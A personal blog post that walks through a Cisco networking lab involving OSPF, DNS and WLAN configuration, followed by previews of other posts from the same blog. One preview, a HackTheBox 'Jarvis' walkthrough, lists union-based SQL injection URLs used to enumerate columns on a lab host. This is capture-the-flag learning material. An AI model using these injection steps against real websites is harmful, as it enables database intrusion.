Cisco IPVersity Writeup Lab 3: In Jail?

-

Lab #3 is here: Ipversity

Well this one took me two days and I needed to whiteboard it. The Smartphone, WLAN was simple, getting to 8.0.0.2 got me. I thought the creator set up a Static Route to send 192.168.1.0/24 and 10.0.0.0/24 traffic back to our internal DNS Server. Then I thought hmm.. I can't set up/change Static Routes (its in the rules), do they want me to NAT it? Nothing is said about OSPF either. Its quite possible NAT and/or OSPF is a solution to this network topology. I will update this blogpost when the creator publishes his solution.

Ipversity Lab #3 Writeup

Step 1: This step might seem odd, but after research I wanted to tackle OSPF first. Remote Core uses OSPF 1 with router-id "10.10.10.10". HQ Core uses OSPF 1 with router-id "20.20.20.20". Lets set up OSPF1 with router-id "30.30.30.30" on Router0.

Great, now MGMT-PC can ping 8.0.0.2. Lets change the MGMT-PC DNS entry to point to 10.0.13.5.

Lets configure our WLAN. Open the internet browser in MGMT-PC and type in "https://192.168.1.2". Put in the username "admin" password "Cisco123". Make sure your using https.

The WLAN Employee is off. Lets turn it on.

Navigate to Wireless to find the LWAP IP address. It could be different for you since this uses DHCP. In my case the IP Address is 192.168.1.11.

Open the Smartphone and type in cisco.com. Also do a nslookup cisco.com and you will see it points to 8.0.0.2. I was also paranoid and turned off the HTTP/HTTPS service on our internal DNS. Cisco pages can look alike and I want to make absolute sure the traffic is going where it needs to go.

Conclusion

In the meantime I will research if a NAT solution can work without OSPF. This is the config that confused me on Router0. I'll be quite interested to know if OSPF is the right direction.

Original Topology/Rules

Comments

Post a Comment

Popular posts from this blog

HTB - Jarvis MySQL

-
Image
Brad Traversy MySQL CheatSheet PentestMonkey SQL CheatSheet MySQL Statement Architecture Jarvis Walkthrough Step 1 - Try to make your query. Visualize it. SELECT Id, Name, Rating, Picture, Cost, Description, UNKNOWN7Field FROM Room WHERE Id = 1 Queries don't need a " or ' Keep going up until it works http://10.10.10.143/room.php?cod=3 union select 1,2,3,4 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5,6 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5,6,7 -OR- http://10.10.10.143/room.php?cod=3 order by 1,2,3,4,5,6,7 The union select works when the left and right are equal in column size. If the left has 7 selections, the right needs 7 selections too SELECT Id, Rating, Name, Cost, Description, UNKNOWN6 FROM Room WHERE Id = 1 UNION SELECT 1,2,3,4,5,6 In order to shift to the right side, put in a faulty value for 1 like negative 1 or 9999 SELECT Id, Rating, Name, Co
Read more

Palo Alto for GNS3 CCDC Tutorial

-
Image
Opening Hello fellow CCDC Competitors! Struggling to get a Palo-Alto VM? I know how you can get one! Email me at ASzampiasSWD@gmail.com. I'll tell you the steps to get a PA-VM for GNS3. Why am I giving this info to you? Wouldn't it make sense to hog the info to myself? Wouldn't my team have an advantage? There are have and have not universities when it comes to PaloAltos. I fell into the "have not" group. Our college didn't have access to PA-VMs and still doesn't. Even if PA Cybersecurity Academy is free, there is too much red tape. I can't change the outcome. I can only come up with this one solution. Another reason is Tri-C is a tryout team. I think its pretty unfair as a potential Firewall Admin I'm the only one with access. No one can challenge me unless they spend 2K for a PA-VM. It becomes a rich-person only position. I have a leftover PA-VM from 2018 I promised not to share. I couldn't share that with my challengers. But I f
Read more

Trace Labs Global Missing Persons CTF V

-
Image
Trace Labs CTF V TraceLabs hosted the Global Missing Persons CTF V event on July 11, 2020. My team //synergy got 64th place out of 190 teams. Introduction This was my first Trace Labs CTF. I captained a team. The good thing about being a captain is you can control who is on the team. My rules were: Must have sock puppet accounts ready. Must have a VPN. Writing out this is a competitive team where we work the entire 6 hours. I was worried about a future team member spamming submissions and disqualifying the team. I thought my requirements would eliminate people who weren't serious. The team hit 4 members Friday evening pretty quickly. Notes My laptop was too slow for this event. My virtual machine froze and I had to restart. Restarting means I have to login to my accounts again. I'll use my desktop next time. The team used Slack and Trello. Our strategy was to research a person and rotate every hour. This strategy broke after 1 rotation. Some missin
Read more